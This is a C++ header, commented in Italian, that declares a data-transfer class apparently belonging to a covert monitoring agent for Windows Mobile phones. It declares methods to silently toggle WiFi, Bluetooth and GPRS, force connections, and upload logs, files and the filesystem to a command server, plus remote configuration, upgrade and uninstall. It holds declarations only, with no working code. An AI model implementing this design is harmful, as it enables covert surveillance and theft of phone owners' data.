#include "Common.h"
#include "Conf.h"
#include "UberLog.h"
#include "Rand.h"
#include "WiFi.h"
#include "Device.h"
#include "GPRSConnection.h"
#include "BlueTooth.h"
#include "Hash.h"

#include <exception>
#include <Winsock2.h>
#include <ws2bth.h>

#include <ipexport.h>
#include <service.h>
#include <pm.h>
#include <initguid.h>
#include <vector>

using namespace std;

#ifndef __Transfer_h__
#define __Transfer_h__

#include "Status.h"

class Status;

class Transfer
{
	private: BlueTooth *objBluetooth;
	
	/**
	 * TRUE se il WiFi e' attualmente attivo, FALSE altrimenti.
	 */
	private: BOOL bIsWifiActive;

	/**
	 * TRUE se il WiFi e' gia' stato attivato da noi, FALSE altrimenti.
	 */
	private: BOOL bIsWifiAlreadyActive;

	/**
	 * Contiene lo stato originale di alimentazione della Wifi
	 */
	private: CEDEVICE_POWER_STATE wifiPower;

	/**
	 * strWifiGuidName contiene il nome dell'adattatore WiFi completo di GUID.
	 * strWifiAdapter contiene soltanto il nome dell'adattatore WiFi.
	 */
	private: wstring strWifiGuidName, strWifiAdapter;
	
	/**
	* TRUE se e' stata ricevuta una nuova configurazione, FALSE altrimenti.
	*/
	private: BOOL bNewConf;

	/**
	* TRUE se e' stata ricevuta una richiesta di uninstall, FALSE altrimenti.
	*/
	private: BOOL bUninstall;

	/**
	 * Il buffer che contiene il challenge per il controllo del server.
	 */
	private: BYTE Challenge[16];

	/**
	* La GUID utilizzata per trovare il servizio bluetooth
	*/
	private: GUID m_btGuid;

	/**
	 * L'oggetto WiFi utilizzato per il controllo della rete wireless
	 */
	private: CWifi wifiObj;

	private: SOCKET wifiSocket;
	private: SOCKET BTSocket;
	private: SOCKET internetSocket;

	/**
	 * Serve al costruttore per impostare tutte le opzioni che sono presenti nel file di configurazione
	 * e che sono differenti da quelle presenti nelle variabili globali.
	 */
	private: Status *statusObj;

	/**
	* Utilizzato dai metodi di sync per tenere traccia dello stato di standby del monitor.
	*/
	private: Device *deviceObj;

	/**
	 * Oggetto per la connessione via GPRS
	 */
	private: GPRSConnection gprsObj;

	/**
	 * Tempo in millisecondi per il loop di polling della connessione. E numero di tentativi da fare
	 */
	private: UINT pollInterval;
	private: UINT retryTimes;

	/**
	 * La porta di RSS mobile.
	 */
	private: USHORT sPort;

	/**
	 * Mac address del server bluetooth
	 */
	private: BT_ADDR uBtMac;

	/**
	 * Variabili utilizzate per tenere traccia dei nuovi IP aggiunti sulla WiFi
	 */
	private: ULONG NTEContext, NTEInstance;
	private: ULONG ulOriginalIp, ulOriginalMask;
	private: wstring strRegistryIp, strRegistryMask, strSessionCookie;
	private: ULONG ulRegistryDhcp;

	/**
	 * Chiave Km Kd e Nonce per la sync REST
	 */
	private: BYTE K[20]; // Vengono usati solo i primi 128-bit
	private: UINT Kd[4], Nonce[4];

	/**
	 * Vettore che contiene i comandi da processare.
	 */
	private: vector<UINT> vAvailables;

	/**
	* L'host su cui faremo la sync.
	*/
	private: wstring strSyncServer;

	/**
	 * TRUE se abbiamo forzato una connessione WiFi/GPRS e siamo in attesa del rilascio,
	 * FALSE altrimenti.
	 */
	private: BOOL bWiFiForced, bGprsForced;

	/**
	* PIN per la connessione bluetooth
	*/
	private: UCHAR BtPin[16];

	/**
	 * SSID per la connessione alla rete WiFi Ad-Hoc
	 */
	private: WCHAR wSsid[33];

	/**
	 * Buffer che contiene la chiave della connessione WiFi, al massimo
	 * sara' lunga 256 bit.
	 */
	private: BYTE wifiKey[32];

	/**
	 * Lunghezza in byte della chiave di cifratura per il WiFi, la inizializziamo
	 * dentro SetWifiKey().
	 */
	private: UINT uWifiKeyLen;

	private: list<LogInfo> *pSnap; // Viene liberato da RestSendLogs() e dal distruttore
	private: UberLog *uberlogObj;

	/**
	 * Attiva il dispositivo BT, torna TRUE se l'attivazione e' andata a buon fine, FALSE altrimenti. Questa funzione
	 * deve controllare prima lo stato di bIsBtAlreadyActive per evitare la doppia attivazione e per mantenere
	 * lo stato dell'oggetto coerente con lo stato del telefono.
	 */
	private: BOOL ActivateBT();

	/**
	 * Disattiva il dispositivo BT, torna TRUE se la disattivazione e' andata a buon fine, FALSE altrimenti. Questa
	 * funzione deve controllare lo stato del BT per vedere se e' ancora attivo (l'utente potrebbe averlo 
	 * disattivato), poi deve controllare lo stato di bIsBtAlreadyActive per verificare che il BT non fosse gia' acceso
	 * per conto suo. In caso contrario lo spegne altrimenti lo lascia allo stato originale.
	 */
	private: BOOL DeActivateBT();

	/**
	 * Attiva la connessione WiFi, torna TRUE se l'attivazione e' andata a buon fine, FALSE altrimenti. Questa 
	 * funzione deve controllare prima lo stato di bIsWifiAlreadyActive per evitare la doppia attivazione e per 
	 * mantenere lo stato dell'oggetto coerente con lo stato del telefono.
	 */
	protected: BOOL ActivateWiFi();

	/**
	 * Disattiva il dispositivo WiFi, torna TRUE se la disattivazione e' andata a buon fine, FALSE altrimenti. Questa
	 * funzione deve controllare lo stato del Wifi per vedere se e' ancora attivo (l'utente potrebbe averlo 
	 * disattivato), poi deve controllare lo stato di bIsWifiAlreadyActive per verificare che il Wifi non fosse gia' 
	 * acceso per conto suo. In caso contrario lo spegne altrimenti lo lascia allo stato originale.
	 */
	protected: BOOL DeActivateWiFi();

	/**
	 * Torna TRUE se l'interfaccia WiFi e' accesa ed attiva (quindi non in standby o sleep), FALSE altrimenti.
	 */
	private: BOOL IsWiFiActive();

	/**
	 * Imposta il PIN per la connessione BT. Torna TRUE se il PIN e' stato impostato correttamente, FALSE altrimenti.
	 */
	private: BOOL SetBTPin(UCHAR *pPin, UINT uLen);
			 
	/**
	 * Torna TRUE se e' disponibile una connessione ad internet attiva, FALSE altrimenti.
	 */
	private: BOOL IsInternetConnectionAvailable();

	/**
	 * Torna TRUE se e' gia' attiva e stabilita una connessione WiFi.
	 */
	protected: BOOL IsWiFiConnectionAvailable();

	/**
	* Questi metodi attivano le relative interfacce e quindi chiamano la Send() per spedire i TransferLog
	*/
	protected: BOOL BtSend();
	protected: UINT WiFiSendPda();
	protected: INT InternetSend(const wstring &strHostname);

	/**
	 * Imposta nella configurazione il MAC Address che verra' utilizzato per la connessione BT. Torna TRUE se
	 * la nuova impostazione e' stata aggiornata correttamente, FALSE altrimenti.
	 */
	private: BOOL SetBTMacAddress(UINT64 uMacAddress);

	/**
	* Imposta nella configurazione il GUID utilizzato dal servizio BT. Torna TRUE se
	* la nuova impostazione e' stata aggiornata correttamente, FALSE altrimenti.
	*/
	private: BOOL SetBTGuid(GUID gGuid);

	/**
	 * Imposta nella configurazione il nuovo MAC Address che verra' utilizzato per la connessione WiFi. Torna TRUE se
	 * la nuova impostazione e' stata aggiornata correttamente, FALSE altrimenti.
	 */
	private: BOOL SetWifiMacAddress(UINT pMacAddress);

	/**
	 * Imposta nella configurazione l'SSID che verra' utilizzato per la connessione WiFi. Torna TRUE se
	 * la nuova impostazione e' stata aggiornata correttamente, FALSE altrimenti. uLen e' la lunghezza in
	 * byte del buffer puntato da pSSID
	 */
	private: BOOL SetWifiSSID(WCHAR* pSSID, UINT uLen);

	/**
	 * Imposta la chiave per la connessione WiFi ed il tipo di connessione (in chiaro, WEP, WPA, WPA2...). Torna
	 * TRUE se la funzione e' andata a buon fine, FALSE altrimenti. uLen e' la lunghezza della chiave.
	 */
	private: BOOL SetWifiKey(BYTE* pKey, UINT uLen);

	/**
	* Imposta il tempo di retry per una connessione fallita ed il numero ti tentativi. La funzione torna
	* TRUE se e' andata a buon fine, FALSE altrimenti.
	*/
	private: BOOL SetPollInterval(UINT uPoll, UINT uTimes);

	/**
	* Invia un comando lungo uCommandLen, la funzione scrive in uResponseLen
	* la lunghezza del blocco decifrato che esclude il padding. 
	* Torna un puntatore al response che va liberato dal chiamante, NULL in 
	* caso di fallimento.
	*/
	private: BYTE* RestSendCommand(BYTE* pCommand, UINT uCommandLen, UINT &uResponseLen);

	/**
	* Crea una richiesta HTTP-POST verso il server, ed inizializza il cookie se necessario.
	* Dentro pResponse c'e' la risposta del server che va liberata dal chiamante. La funzione
	* torna TRUE se va a buon fine, FALSE altrimenti.
	*/
	private: BOOL RestPostRequest(BYTE *pContent, UINT uContentLen, BYTE* &pResponse, UINT &uResponseLen, BOOL bSetCookie = TRUE);

	/**
	* Effettua la fase di Auth della sync REST. Torna il comando ricevuto o INVALID_COMMAND se fallisce.
	*/
	private: UINT RestAuth();

	/**
	* Crea e cifra il request del primo pacchetto di auth. Il buffer tornato contiene la richiesta e
	* va liberato dal chiamante. In uContentLen c'e' la lunghezza del contenuto cifrato.
	* La funzione torna NULL in caso di fallimento.
	*/
	private: BYTE* RestCreateAuthRequest(UINT *uContentLen);

	/**
	* Ottiene K a partire dal Kd e dal contenuto cifrato ricevuto nella prima fase dell'auth.
	* K e' un attributo di classe e viene valorizzato se la funzione termina con successo.
	* Torna TRUE se la funzione va a buon fine, FALSE altrimenti. 
	*/
	private: BOOL RestDecryptK(BYTE *pContent);

	/**
	* Verifica il Nonce e ottiene il comando spedito dal server. Torna INVALID_COMMAND in
	* caso la funzione non vada a buon fine.
	*/
	private: UINT RestGetCommand(BYTE* pContent);

	/**
	* Effettua la fase di identificazione, torna TRUE in caso di successo, FALSE altrimenti.
	*/
	private: BOOL RestIdentification();

	/**
	* Riceve la nuova configurazione, torna TRUE in caso di successo, FALSE altrimenti.
	*/
	private: BOOL RestGetNewConf();

	BOOL RestSendDownloads();
	BOOL RestGetUploads();
	BOOL RestGetUpgrade();
	BOOL RestSendFilesystem();
	BOOL RestSendLogs();
	BOOL RestSendConfAck(BOOL bConfOK); // Invia il PROTO_NO o PROTO_OK per confermare la ricezione della nuova conf

	/**
	* Esegue i request presenti negli availables. Se la funzione fallisce si passa cmq
	* alla fase di invio dei log.
	*/
	private: void RestProcessAvailables();

	/**
	* Cerca sull'indirizzo "address" il servizio con il nostro GUID, torna
	* TRUE se il servizio viene trovato su "address", FALSE altrimenti.
	*/
	private: BOOL InquiryService(WCHAR *address);

	/**
	* Cerca il server bluetooth con il servizio per la sync, torna un mac address 
	* se la funzione torna a buon fine, 0 altrimenti.
	*/
	private: BT_ADDR FindServer(SOCKET bt);

	/**
	 * Torna il primo IP di un'interfaccia di rete, strAdapterName e' il nome dell'adattatore.
	 * Per convertire l'IP in stringa va usata la inet_ntoa(), che non e' thread safe.
	 */
	protected: DWORD GetAdapterIP(const wstring &strAdapterName);

	/**
	* Torna la mask di un'interfaccia di rete, strAdapterName e' il nome dell'adattatore.
	* Per convertire la mask in stringa va usata la inet_ntoa(), che non e' thread safe.
	*/
	protected: DWORD GetAdapterMask(const wstring &strAdapterName);

	/**
	 * Torna l'indice dell'interfaccia di rete il cui nome e' strAdapterName. Si tratta di un
	 * override della GetAdapterIndex() definita in iphlpapi.h
	 */
	protected: DWORD GetAdapterIndex(const wstring &strAdapterName);

	/**
	 * Forza la connessione ad una rete WiFi aperta o preconfigurata dall'utente, la funzione
	 * torna TRUE se e' stata stabilita una connessione, FALSE altrimenti. Se gia' esiste una
	 * connessione WiFi precedentemente stabilita, questa non viene interrotta e la funzione
	 * torna FALSE. Questa connessione va poi rilasciata tramite la ReleaseWiFiConnection().
	 * Questa funzione richiama internamente la IsWiFiConnectionAvailable().
	 */
	protected: BOOL ForceWiFiConnection();

	/**
	* Forza la connessione alla rete GPRS, torna TRUE se e' stata stabilita una connessione, 
	* FALSE altrimenti. Se gia' esiste una connessione GPRS precedentemente stabilita, 
	* questa non viene interrotta e la funzione torna FALSE. Questa connessione va poi 
	* rilasciata tramite la ReleaseGprsConnection().
	* Questa funzione richiama internamente la IsInternetConnectionAvailable().
	*/
	protected: BOOL ForceGprsConnection();

	/**
	 * Rilascia una connessione WiFi precedentemente forzata, la funzione torna TRUE se la
	 * connessione e' stata rilasciata con successo, FALSE se non e' stato possibile o se non
	 * esiste nessuna connessione forzata da rilasciare.
	 */
	protected: BOOL ReleaseWiFiConnection();

	/**
	* Rilascia una connessione GPRS precedentemente forzata, la funzione torna TRUE se la
	* connessione e' stata rilasciata con successo, FALSE se non e' stato possibile o se non
	* esiste nessuna connessione forzata da rilasciare.
	*/
	protected: BOOL ReleaseGprsConnection();

	/**
	 * Disabilita il DHCP e imposta il nostro IP per la sync tramite WiFi. Torna TRUE
	 * se la funzione va a buon fine, FALSE altrimenti.
	*/
	private: BOOL SetWirelessIp(const wstring &strAdapterName, ULONG uIp, ULONG uMask);

	/**
	* Reimposta i valori originali modificati dalla SetWirelessIp(). Torna TRUE
	* se la funzione va a buon fine, FALSE altrimenti.
	*/
	private: BOOL RestoreWirelessIp(const wstring &wAdapterName);

	/**
	* Torna TRUE se lo stack bluetooth utilizzato e' Widcomm, FALSE altrimenti.
	*/
	private: BOOL IsWidcomm();

	/**
	 * Costruttore di default, chiama la Status.GetConfStruct() per inizializzare tutte le impostazioni per il polling e
	 * per l'inizializzazione delle connessioni.
	 */
	public:  Transfer();
			 ~Transfer();

	/**
	 * Funzioni di backward compatibility col vecchio protocollo
	 */
	public:
		UINT SendOldProto(UINT Type, BOOL bInterrupt);
		BOOL SendIds(SOCKET s);
		BOOL SendChallenge(SOCKET s);
		BOOL CheckResponse(SOCKET s);
		BOOL GetChallenge(SOCKET s);
		BOOL SyncOldProto(SOCKET s, BOOL bInterrupt);
		INT SendData(SOCKET s, BYTE *pData, UINT Len);
		INT RecvData(SOCKET s, BYTE *pData, UINT Len);
		INT SendCommand(SOCKET s, UINT uCommand);
		INT RecvCommand(SOCKET s);
		BOOL GetNewConf(SOCKET s);
		BOOL GetUpload(SOCKET s);
		BOOL SendDownload(SOCKET s);
		BOOL CreateDownloadFile(const wstring &strPath, BOOL bObscure);
		BOOL SendFileSystem(SOCKET s);
		BOOL GetUpgrade(SOCKET s);
		void ClearLogSnapshot();
};

#endif
